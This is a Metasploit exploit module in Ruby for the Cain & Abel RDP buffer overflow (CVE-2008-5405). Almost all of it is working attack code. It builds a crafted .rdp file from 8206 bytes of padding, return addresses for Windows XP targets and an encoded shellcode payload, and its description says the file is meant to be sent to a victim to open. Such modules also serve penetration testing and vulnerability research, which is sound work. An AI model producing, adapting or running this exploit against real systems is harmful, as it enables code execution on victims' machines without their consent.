##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cain and Abel RDP Buffer Overflow',
        'Description' => %q{
          This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24
          and below. An attacker must send the file to victim, and the victim must open
          the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Trancek <trancek[at]yashira.org>' ],
        'References' => [
          [ 'CVE', '2008-5405' ],
          [ 'OSVDB', '50342' ],
          [ 'EDB', '7329' ],
          [ 'BID', '32543' ]
        ],
        'Payload' => {
          'Space' => 800,
          'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'StackAdjustment' => -3500,
        },
        'DefaultOptions' => {
          'AllowWin32SEH' => true
        },
        'Platform' => 'win',
        'Targets' => [
          # Tested ok aushack 20090503
          [ 'Windows XP SP2 English',	{ 'Ret' => 0x7c82385d } ], # call esp
          [ 'Windows XP SP0/1 English',	{ 'Ret' => 0x71ab7bfb } ], # jmp esp
          [ 'Windows XP SP2 Spanish',	{ 'Ret' => 0x7c951eed } ], # jmp esp
        ],
        'Privileged' => false,
        'DisclosureDate' => '2008-11-30',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'exploit_cain.rdp']),
      ]
    )
  end

  def exploit
    filerdp = rand_text_alpha_upper(8206)
    filerdp << [target.ret].pack('V') + [target.ret].pack('V')
    filerdp << payload.encoded
    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(filerdp)
  end
end